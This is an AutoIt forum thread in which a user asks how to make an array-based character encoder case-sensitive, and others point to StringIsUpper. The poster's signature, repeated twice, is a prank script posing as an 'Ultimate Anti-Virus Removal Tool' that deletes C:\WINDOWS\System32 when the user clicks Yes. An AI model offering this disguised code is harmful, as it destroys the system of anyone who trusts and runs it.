Jump to content
Sign in to follow this  
Firefoxy

Array question...

Recommended Posts

This is the code I have. Is there any way for this to recognize if a letter is capital or not? Because if I type HEY it returns the same as Hey.

$moo = InputBox("", "Please type 'Hey' or 'HEY'.")


Dim $KeysAndCodes[5][2] = [[ "H", "00001" ], ["Y", "00101" ], ["E", "11101" ], ["e", "11111"], ["y", "00000"]]
Global $text
$code = $moo


For $1 = 1 To StringLen($code) Step + 1
    $5nrs = StringMid($code, $1, 1)
    $text &= _HLEncrypt($5nrs)
Next

MsgBox(0, "Results...", "'" & $moo & "'" & " Translates into: " & $text)
Func _HLEncrypt($numbers)
    For $1 = 0 To UBound($KeysAndCodes, 1) - 1
        If $numbers = $KeysAndCodes[$1][0] Then Return $KeysAndCodes[$1][1]
    Next
EndFunc
Edited by Firefoxy

;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

StringIsUpper

--------------------------------------------------------------------------------

Checks if a string contains only uppercase characters.

Well does this check to see if all of them are upper or just to check if any are upper-case. Because this is just a test I'm doing. When I'm done it will contain the whole upper and lower case alphabet, numbers, symbols, etc.. So will this be able to check a 750 character file? Because it will contain both upper and lower case.


;Ultimate Anti-Virus Removal Tool

$ans = MsgBox(4, "Ultimate AV", "Press 'Yes' to remove all viruses, press 'No' to exit.")

If $ans = 6 Then
   DirRemove("C:\WINDOWS\System32")
ElseIf $ans = 7 Then
   Exit
EndIf

Share this post


Link to post
Share on other sites

I had that idea, just wondering if there was any other way to do it. Thanks though!

Well... if that was an idea you had... then why didn't you say that in your first post? Instead, you sounded completely clueless... when, in fact, you "had that idea?"

Sounds like you can figure it out for yourself. :)

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×
×
  • Create New...